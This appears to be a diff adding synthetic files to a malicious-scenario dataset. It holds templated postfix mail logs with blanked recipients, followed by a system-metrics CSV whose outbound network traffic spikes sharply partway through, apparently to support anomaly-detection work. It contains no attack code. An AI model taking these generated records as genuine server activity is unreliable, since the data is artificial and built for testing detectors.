+Aug 26 14:05:40 mail-server postfix/smtp[10860]: F73B27EE: to=, relay=mx.emailprovider4.com[10.20.49.33]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 65B66E47) +Aug 26 14:05:45 mail-server postfix/smtp[19798]: 510AD56A: to=, relay=mx.emailprovider1.com[10.44.16.240]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as C6FFBD3C) +Aug 26 14:05:45 mail-server postfix/cleanup[12111]: 62712507: message-id= +Aug 26 14:05:45 mail-server postfix/smtp[18521]: 06831EB0: to=, relay=mx.emailprovider1.com[10.94.129.43]:25, delay=5, delays=0.02/0/4.98/0, dsn=5.4.4, status=bounced (host mx.emailprovider1.com[10.94.129.43]:25 said: 550 5.4.4 Domain not found) +Aug 26 14:05:45 mail-server postfix/smtp[16240]: 8275267D: to=, relay=mx.emailprovider1.com[10.160.156.109]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 6CC2DEEE) +Aug 26 14:05:45 mail-server postfix/smtp[16260]: 4D8D14B8: to=, relay=mx.emailprovider4.com[10.123.209.19]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 6104DD56) +Aug 26 14:05:50 mail-server postfix/smtp[10771]: 349A634C: to=, relay=mx.emailprovider2.com[10.251.42.187]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 670C8CA4) +Aug 26 14:05:50 mail-server postfix/smtp[19588]: C1062EB6: to=, relay=mx.emailprovider1.com[10.138.254.44]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 654E32A9) +Aug 26 14:05:50 mail-server postfix/smtp[12053]: 37F62D42: to=, relay=mx.emailprovider4.com[10.25.137.102]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 066982EF) +Aug 26 14:05:50 mail-server postfix/smtp[11388]: 850D7734: to=, relay=mx.emailprovider2.com[10.106.94.74]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 7ABC7546) +Aug 26 14:05:50 mail-server postfix/smtp[16700]: 1901D15D: to=, relay=mx.emailprovider1.com[10.250.173.149]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 7B5D7F6E) +Aug 26 14:05:55 mail-server postfix/smtp[16977]: DB0E921B: to=, relay=mx.emailprovider2.com[10.57.87.79]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as E806BE93) +Aug 26 14:05:55 mail-server postfix/smtp[11575]: C07178B3: to=, relay=mx.emailprovider1.com[10.246.17.254]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as DEC3A124) +Aug 26 14:05:55 mail-server postfix/smtp[15280]: E6ABD16A: to=, relay=mx.emailprovider2.com[10.158.180.175]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as C87B112E) +Aug 26 14:05:55 mail-server postfix/smtp[16914]: C239116F: to=, relay=mx.emailprovider2.com[10.111.111.222]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as F839B3C9) +Aug 26 14:06:00 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 14:06:00 mail-server postfix/smtp[12177]: 9F8D9C19: to=, relay=mx.emailprovider3.com[10.48.18.55]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 24862124) +Aug 26 14:06:00 mail-server postfix/cleanup[15860]: 11E582B8: message-id= +Aug 26 14:06:00 mail-server postfix/smtp[18401]: 6FD41407: to=, relay=mx.emailprovider3.com[10.187.197.163]:25, delay=5, delays=0.02/0/4.98/0, dsn=5.4.4, status=bounced (host mx.emailprovider3.com[10.187.197.163]:25 said: 550 5.4.4 Domain not found) +Aug 26 14:06:00 mail-server postfix/cleanup[14398]: D3DB6839: message-id= +Aug 26 14:06:00 mail-server postfix/smtp[11426]: 12DF297E: to=, relay=mx.emailprovider3.com[10.130.238.157]:25, delay=5, delays=0.02/0/4.98/0, dsn=5.4.4, status=bounced (host mx.emailprovider3.com[10.130.238.157]:25 said: 550 5.4.4 Domain not found) +Aug 26 14:06:00 mail-server postfix/smtp[13125]: 9493D5E1: to=, relay=mx.emailprovider3.com[10.250.102.108]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as B5762E3C) +Aug 26 14:06:00 mail-server postfix/smtp[19515]: B82F8F5E: to=, relay=mx.emailprovider3.com[10.3.244.36]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 36601A42) +Aug 26 14:06:00 mail-server postfix/smtp[13296]: 5B20B7D5: to=, relay=mx.emailprovider2.com[10.86.126.140]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as E8469DD8) +Aug 26 14:06:05 mail-server postfix/smtp[19586]: A23B7F9C: to=, relay=mx.emailprovider1.com[10.12.68.214]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 4AAADDAF) +Aug 26 14:06:05 mail-server postfix/smtp[10461]: 866BDA8A: to=, relay=mx.emailprovider3.com[10.185.227.78]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as B545D08B) +Aug 26 14:06:05 mail-server postfix/smtp[14442]: E182C2F6: to=, relay=mx.emailprovider1.com[10.125.119.44]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as C5902E10) +Aug 26 14:06:05 mail-server postfix/smtp[11971]: D08DC5B9: to=, relay=mx.emailprovider4.com[10.229.47.249]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 58F78811) +Aug 26 14:06:05 mail-server postfix/smtp[12584]: 775D6A7E: to=, relay=mx.emailprovider2.com[10.192.13.64]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 98718755) +Aug 26 14:06:10 mail-server postfix/smtp[15794]: 8CB2C4D7: to=, relay=mx.emailprovider2.com[10.164.232.126]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 1A35CEC5) +Aug 26 14:06:10 mail-server postfix/smtp[18428]: 8865D032: to=, relay=mx.emailprovider2.com[10.21.152.175]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as B87C1A37) +Aug 26 14:06:10 mail-server postfix/smtp[11299]: A3495CBE: to=, relay=mx.emailprovider1.com[10.70.252.62]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 297C64FB) +Aug 26 14:06:10 mail-server postfix/smtp[11118]: A2528D60: to=, relay=mx.emailprovider2.com[10.120.121.50]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 124231BA) +Aug 26 14:06:10 mail-server postfix/smtp[16008]: 83EC53CB: to=, relay=mx.emailprovider2.com[10.231.14.99]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 23A3C15B) +Aug 26 14:06:15 mail-server postfix/smtp[17236]: 0978DF7F: to=, relay=mx.emailprovider4.com[10.36.198.193]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as C8A05CED) +Aug 26 14:06:15 mail-server postfix/smtp[14476]: 51851AA4: to=, relay=mx.emailprovider2.com[10.68.166.108]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as B957041D) +Aug 26 14:06:15 mail-server postfix/smtp[19037]: 7A712D76: to=, relay=mx.emailprovider2.com[10.229.218.169]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 0AF57CE0) +Aug 26 14:06:15 mail-server postfix/smtp[12918]: 8A4A792D: to=, relay=mx.emailprovider2.com[10.40.222.29]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as A1B18184) +Aug 26 14:06:15 mail-server postfix/cleanup[19451]: FFA74514: message-id= +Aug 26 14:06:15 mail-server postfix/smtp[16057]: A6342FF5: to=, relay=mx.emailprovider3.com[10.106.31.112]:25, delay=5, delays=0.02/0/4.98/0, dsn=5.4.4, status=bounced (host mx.emailprovider3.com[10.106.31.112]:25 said: 550 5.4.4 Domain not found) +Aug 26 14:06:15 mail-server postfix/cleanup[18641]: 968D788B: message-id= +Aug 26 14:06:15 mail-server postfix/smtp[13163]: E5BB8FC5: to=, relay=mx.emailprovider3.com[10.72.125.128]:25, delay=5, delays=0.02/0/4.98/0, dsn=5.4.4, status=bounced (host mx.emailprovider3.com[10.72.125.128]:25 said: 550 5.4.4 Domain not found) +Aug 26 14:06:20 mail-server postfix/smtp[12478]: 746236B2: to=, relay=mx.emailprovider2.com[10.245.104.72]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as D2D2C548) +Aug 26 14:06:20 mail-server postfix/smtp[15687]: B2C026A9: to=, relay=mx.emailprovider2.com[10.84.180.94]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 8BD24B12) +Aug 26 14:06:20 mail-server postfix/smtp[14249]: 1F1A0805: to=, relay=mx.emailprovider1.com[10.212.10.52]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 308EBF3D) +Aug 26 14:06:20 mail-server postfix/smtp[16278]: D1175CFE: to=, relay=mx.emailprovider4.com[10.6.136.5]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 0F5F0E0C) +Aug 26 14:06:20 mail-server postfix/smtp[18445]: B8956F09: to=, relay=mx.emailprovider4.com[10.249.204.79]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 5969B46C) +Aug 26 14:06:25 mail-server postfix/smtp[13590]: B49CAB4F: to=, relay=mx.emailprovider2.com[10.50.139.114]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as BBEB014E) +Aug 26 14:06:25 mail-server postfix/smtp[18726]: 305026B9: to=, relay=mx.emailprovider1.com[10.239.54.97]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 26AFC0A1) +Aug 26 14:06:25 mail-server postfix/smtp[11779]: 3BC70198: to=, relay=mx.emailprovider2.com[10.1.2.77]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 2EC03397) +Aug 26 14:06:30 mail-server postfix/cleanup[10080]: B626811B: message-id= +Aug 26 14:06:30 mail-server postfix/smtp[14728]: F3109FB7: to=, relay=mx.emailprovider3.com[10.188.168.62]:25, delay=5, delays=0.02/0/4.98/0, dsn=5.4.4, status=bounced (host mx.emailprovider3.com[10.188.168.62]:25 said: 550 5.4.4 Domain not found) +Aug 26 14:06:30 mail-server postfix/smtp[11656]: 399912B8: to=, relay=mx.emailprovider4.com[10.183.200.195]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 904D0F44) +Aug 26 14:06:30 mail-server postfix/smtp[17075]: 87E727A2: to=, relay=mx.emailprovider1.com[10.162.113.55]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as B7471297) +Aug 26 14:06:30 mail-server postfix/smtp[18467]: 1B61DFF5: to=, relay=mx.emailprovider2.com[10.14.195.237]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 81EACFE0) +Aug 26 14:06:30 mail-server postfix/smtp[15882]: 2F0C7396: to=, relay=mx.emailprovider4.com[10.224.40.77]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as CA06FC61) +Aug 26 14:06:35 mail-server postfix/smtp[18973]: EF6F4797: to=, relay=mx.emailprovider2.com[10.188.227.191]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 6ECEDC14) +Aug 26 14:06:35 mail-server postfix/smtp[12439]: D8CE457E: to=, relay=mx.emailprovider3.com[10.102.196.178]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 007E858D) +Aug 26 14:06:35 mail-server postfix/smtp[18611]: 17BE3926: to=, relay=mx.emailprovider4.com[10.14.211.60]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as ADEE3375) +Aug 26 14:06:40 systemd[1]: Starting daily clean up activities... +Aug 26 14:06:40 mail-server postfix/smtp[12126]: BDA9A31B: to=, relay=mx.emailprovider3.com[10.141.75.111]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 90A79568) +Aug 26 14:06:40 mail-server postfix/smtp[14396]: E0E86507: to=, relay=mx.emailprovider3.com[10.73.253.8]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as BE1090A6) +Aug 26 14:06:40 mail-server postfix/smtp[18761]: 649558D7: to=, relay=mx.emailprovider4.com[10.250.253.223]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as FAD5E3AC) +Aug 26 14:06:45 mail-server postfix/smtp[17133]: 6502890A: to=, relay=mx.emailprovider3.com[10.141.186.211]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 7D83AE81) +Aug 26 14:06:45 mail-server postfix/smtp[18666]: 4F665605: to=, relay=mx.emailprovider1.com[10.57.43.103]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as BC636374) +Aug 26 14:06:45 mail-server postfix/cleanup[10990]: 206AD5B1: message-id= +Aug 26 14:06:45 mail-server postfix/smtp[12967]: 87ACACF2: to=, relay=mx.emailprovider4.com[10.13.22.189]:25, delay=5, delays=0.02/0/4.98/0, dsn=5.4.4, status=bounced (host mx.emailprovider4.com[10.13.22.189]:25 said: 550 5.4.4 Domain not found) +Aug 26 14:06:45 mail-server postfix/smtp[16310]: 73F46B59: to=, relay=mx.emailprovider2.com[10.128.77.44]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 9F99CCFC) +Aug 26 14:06:45 mail-server postfix/cleanup[19204]: 04454913: message-id= +Aug 26 14:06:45 mail-server postfix/smtp[13333]: F78CB841: to=, relay=mx.emailprovider1.com[10.177.246.35]:25, delay=5, delays=0.02/0/4.98/0, dsn=5.4.4, status=bounced (host mx.emailprovider1.com[10.177.246.35]:25 said: 550 5.4.4 Domain not found) +Aug 26 14:06:45 mail-server postfix/smtp[17488]: 5DD19F1D: to=, relay=mx.emailprovider3.com[10.196.191.75]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 675E6DA9) +Aug 26 14:06:45 mail-server postfix/smtp[14046]: 22E8D46B: to=, relay=mx.emailprovider4.com[10.127.17.29]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 24626E3A) +Aug 26 14:06:50 mail-server postfix/smtp[15373]: EF3D6FFC: to=, relay=mx.emailprovider1.com[10.125.163.219]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 9E902C60) +Aug 26 14:06:50 mail-server postfix/smtp[17540]: F2FDCE6E: to=, relay=mx.emailprovider4.com[10.156.209.12]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 88011B92) +Aug 26 14:06:50 mail-server postfix/smtp[11183]: DEB5441F: to=, relay=mx.emailprovider4.com[10.17.141.150]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 46EB03BA) +Aug 26 14:06:50 mail-server postfix/smtp[11493]: B7AFA819: to=, relay=mx.emailprovider1.com[10.136.243.52]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 0300D99D) +Aug 26 14:06:55 mail-server postfix/smtp[14686]: 56F7473C: to=, relay=mx.emailprovider2.com[10.179.228.102]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 1640FCC7) +Aug 26 14:06:55 mail-server postfix/smtp[17030]: 54DE15B8: to=, relay=mx.emailprovider2.com[10.58.66.116]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as E75BE56D) +Aug 26 14:06:55 mail-server postfix/smtp[12207]: B0FCE20E: to=, relay=mx.emailprovider3.com[10.16.93.71]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 7B7B765F) +Aug 26 14:06:55 mail-server postfix/smtp[15099]: E1ADCF34: to=, relay=mx.emailprovider4.com[10.123.244.57]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as D493FE93) +Aug 26 14:07:00 mail-server postfix/smtp[11545]: 440631CC: to=, relay=mx.emailprovider2.com[10.228.52.191]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 6D2E3700) +Aug 26 14:07:00 mail-server postfix/smtp[11336]: 6B0F5846: to=, relay=mx.emailprovider2.com[10.191.211.44]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 6A4E1B49) +Aug 26 14:07:00 mail-server postfix/smtp[11600]: 81E0BBC5: to=, relay=mx.emailprovider2.com[10.216.252.136]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 6726011B) +Aug 26 14:07:00 mail-server postfix/cleanup[12310]: 1F03B4F4: message-id= +Aug 26 14:07:00 mail-server postfix/smtp[12991]: 384C4428: to=, relay=mx.emailprovider4.com[10.89.164.75]:25, delay=5, delays=0.02/0/4.98/0, dsn=5.4.4, status=bounced (host mx.emailprovider4.com[10.89.164.75]:25 said: 550 5.4.4 Domain not found) +Aug 26 14:07:00 mail-server postfix/cleanup[13641]: D9A74D3D: message-id= +Aug 26 14:07:00 mail-server postfix/smtp[17724]: 7F7F6D9F: to=, relay=mx.emailprovider4.com[10.131.192.25]:25, delay=5, delays=0.02/0/4.98/0, dsn=5.4.4, status=bounced (host mx.emailprovider4.com[10.131.192.25]:25 said: 550 5.4.4 Domain not found) +Aug 26 14:07:05 mail-server postfix/smtp[17171]: 98C3B14B: to=, relay=mx.emailprovider1.com[10.117.61.62]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as B5CFA963) +Aug 26 14:07:05 mail-server postfix/smtp[18928]: B6828FAA: to=, relay=mx.emailprovider2.com[10.41.122.40]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 33D9731B) +Aug 26 14:07:05 mail-server postfix/smtp[18993]: A8B764D6: to=, relay=mx.emailprovider2.com[10.91.205.117]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 156E2F4E) +Aug 26 14:07:10 mail-server postfix/smtp[16585]: 5EC66976: to=, relay=mx.emailprovider4.com[10.57.107.162]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 33896C9C) +Aug 26 14:07:10 mail-server postfix/smtp[10495]: B9F93402: to=, relay=mx.emailprovider1.com[10.139.185.200]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as DF2307B1) +Aug 26 14:07:10 mail-server postfix/smtp[10622]: B245D6F4: to=, relay=mx.emailprovider1.com[10.24.12.211]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 987424B3) +Aug 26 14:07:10 mail-server postfix/smtp[12376]: B85ED42B: to=, relay=mx.emailprovider3.com[10.98.196.241]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 35987A22) +Aug 26 14:07:10 mail-server postfix/smtp[15629]: 9B185799: to=, relay=mx.emailprovider2.com[10.128.99.153]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 2973AFEA) +Aug 26 14:07:15 mail-server postfix/cleanup[19865]: 46D5620D: message-id= +Aug 26 14:07:15 mail-server postfix/smtp[13557]: 7E616C14: to=, relay=mx.emailprovider3.com[10.195.27.147]:25, delay=5, delays=0.02/0/4.98/0, dsn=5.4.4, status=bounced (host mx.emailprovider3.com[10.195.27.147]:25 said: 550 5.4.4 Domain not found) +Aug 26 14:07:15 mail-server postfix/smtp[17614]: E42EE628: to=, relay=mx.emailprovider4.com[10.168.125.4]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as D744F849) +Aug 26 14:07:15 mail-server postfix/smtp[10965]: 1B6C0183: to=, relay=mx.emailprovider1.com[10.108.48.249]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 056EAF8C) +Aug 26 14:07:15 mail-server postfix/cleanup[11465]: A81478E9: message-id= +Aug 26 14:07:15 mail-server postfix/smtp[18298]: 0F8F589E: to=, relay=mx.emailprovider1.com[10.157.252.177]:25, delay=5, delays=0.02/0/4.98/0, dsn=5.4.4, status=bounced (host mx.emailprovider1.com[10.157.252.177]:25 said: 550 5.4.4 Domain not found) +Aug 26 14:07:15 mail-server postfix/smtp[16441]: 0D3FF277: to=, relay=mx.emailprovider4.com[10.6.12.95]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 80796DA8) +Aug 26 14:07:15 mail-server postfix/smtp[17109]: 0248F6CE: to=, relay=mx.emailprovider3.com[10.181.77.24]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 636E262B) +Aug 26 14:07:15 mail-server postfix/smtp[18496]: 38B1E933: to=, relay=mx.emailprovider1.com[10.155.40.143]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 77CA0F1E) +Aug 26 14:07:15 mail-server postfix/smtp[18004]: 84E0D0A1: to=, relay=mx.emailprovider2.com[10.36.224.111]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as F964E422) +Aug 26 14:07:20 systemd[1]: Starting daily clean up activities... +Aug 26 14:07:20 mail-server postfix/smtp[19030]: EF210AB5: to=, relay=mx.emailprovider4.com[10.54.102.160]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 8DA1B17E) +Aug 26 14:07:20 mail-server postfix/smtp[14061]: 7CDBF966: to=, relay=mx.emailprovider4.com[10.158.100.115]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as CFAEF75E) +Aug 26 14:07:20 mail-server postfix/smtp[19360]: 3DB5BF6E: to=, relay=mx.emailprovider1.com[10.165.14.220]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 9E14EDCD) +Aug 26 14:07:20 mail-server postfix/smtp[13064]: 74A0E624: to=, relay=mx.emailprovider3.com[10.122.161.70]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 314E59F0) +Aug 26 14:07:25 mail-server postfix/smtp[10171]: 2D73CC42: to=, relay=mx.emailprovider1.com[10.40.250.43]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as CE840B49) +Aug 26 14:07:25 mail-server postfix/smtp[14757]: 07A2D7C3: to=, relay=mx.emailprovider4.com[10.21.204.81]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 4CB1C238) +Aug 26 14:07:25 mail-server postfix/smtp[14853]: AF244E02: to=, relay=mx.emailprovider2.com[10.18.208.165]:25, delay=0.5, delays=0.01/0/0.1/0.39, dsn=2.0.0, status=sent (250 2.0.0 OK; queued as 86C50021) diff --git a/mali_dataset/scenario_5/mali_5_17.csv b/mali_dataset/scenario_5/mali_5_17.csv new file mode 100644 index 0000000000000000000000000000000000000000..bfff5b01428120d9b10b905b87eb09e05ee12d96 --- /dev/null +++ b/mali_dataset/scenario_5/mali_5_17.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,10.73,35.19,14.75,1.08,1.03 +2025-07-02T12:00:05Z,6.89,36.01,22.44,0.81,1.16 +2025-07-02T12:00:10Z,6.12,42.74,16.23,1.31,2.38 +2025-07-02T12:00:15Z,12.15,43.71,16.02,1.16,2.44 +2025-07-02T12:00:20Z,6.68,44.18,25.44,0.97,0.5 +2025-07-02T12:00:25Z,5.99,43.86,29.66,0.98,1.37 +2025-07-02T12:00:30Z,14.55,44.89,21.78,0.94,1.0 +2025-07-02T12:00:35Z,9.63,41.33,14.0,0.9,2.39 +2025-07-02T12:00:40Z,10.24,43.27,24.13,1.06,0.62 +2025-07-02T12:00:45Z,13.57,38.0,28.65,1.36,0.67 +2025-07-02T12:00:50Z,8.62,38.85,28.46,1.47,1.05 +2025-07-02T12:00:55Z,12.69,40.2,12.35,1.31,1.94 +2025-07-02T12:01:00Z,13.06,41.0,22.07,0.51,0.57 +2025-07-02T12:01:05Z,14.58,38.02,24.73,1.33,2.44 +2025-07-02T12:01:10Z,9.63,44.18,14.28,0.83,1.02 +2025-07-02T12:01:15Z,7.46,39.93,28.27,1.21,0.71 +2025-07-02T12:01:20Z,10.83,36.52,17.46,1.16,2.18 +2025-07-02T12:01:25Z,11.11,39.35,13.7,1.03,2.31 +2025-07-02T12:01:30Z,10.91,40.68,13.76,0.7,0.82 +2025-07-02T12:01:35Z,6.5,40.79,23.32,0.78,1.44 +2025-07-02T12:01:40Z,9.89,44.07,20.05,1.0,0.69 +2025-07-02T12:01:45Z,8.46,43.64,11.33,0.58,2.41 +2025-07-02T12:01:50Z,14.3,38.72,19.94,1.02,1.29 +2025-07-02T12:01:55Z,8.73,36.63,14.74,1.45,1.29 +2025-07-02T12:02:00Z,5.81,38.33,18.92,0.85,0.73 +2025-07-02T12:02:05Z,8.7,43.59,26.32,1.12,0.93 +2025-07-02T12:02:10Z,12.78,39.52,14.98,0.64,0.78 +2025-07-02T12:02:15Z,13.05,39.69,22.91,0.54,0.56 +2025-07-02T12:02:20Z,7.62,37.72,19.9,1.37,2.24 +2025-07-02T12:02:25Z,6.97,36.86,23.97,1.21,1.57 +2025-07-02T12:02:30Z,55.59,46.75,29.04,4.7,53.37 +2025-07-02T12:02:35Z,57.56,47.71,27.23,5.22,70.98 +2025-07-02T12:02:40Z,48.28,43.05,25.05,3.05,63.62 +2025-07-02T12:02:45Z,40.46,40.33,22.98,6.86,84.8 +2025-07-02T12:02:50Z,30.38,47.57,26.52,6.62,98.04 +2025-07-02T12:02:55Z,43.7,48.34,34.82,2.85,80.78 +2025-07-02T12:03:00Z,34.45,42.42,15.14,7.51,63.57 +2025-07-02T12:03:05Z,42.03,43.83,17.75,6.83,62.78 +2025-07-02T12:03:10Z,35.37,44.49,28.05,2.07,80.57 +2025-07-02T12:03:15Z,38.36,49.86,15.32,5.33,55.67 +2025-07-02T12:03:20Z,44.53,48.79,24.89,4.2,85.51 +2025-07-02T12:03:25Z,39.08,42.77,16.47,7.86,87.76 +2025-07-02T12:03:30Z,35.46,48.1,33.86,5.3,79.88 +2025-07-02T12:03:35Z,40.97,40.77,18.92,4.39,68.79 +2025-07-02T12:03:40Z,53.38,45.6,16.43,2.12,55.61 +2025-07-02T12:03:45Z,44.37,40.32,27.36,5.2,61.41 +2025-07-02T12:03:50Z,47.58,43.01,28.75,5.89,75.37 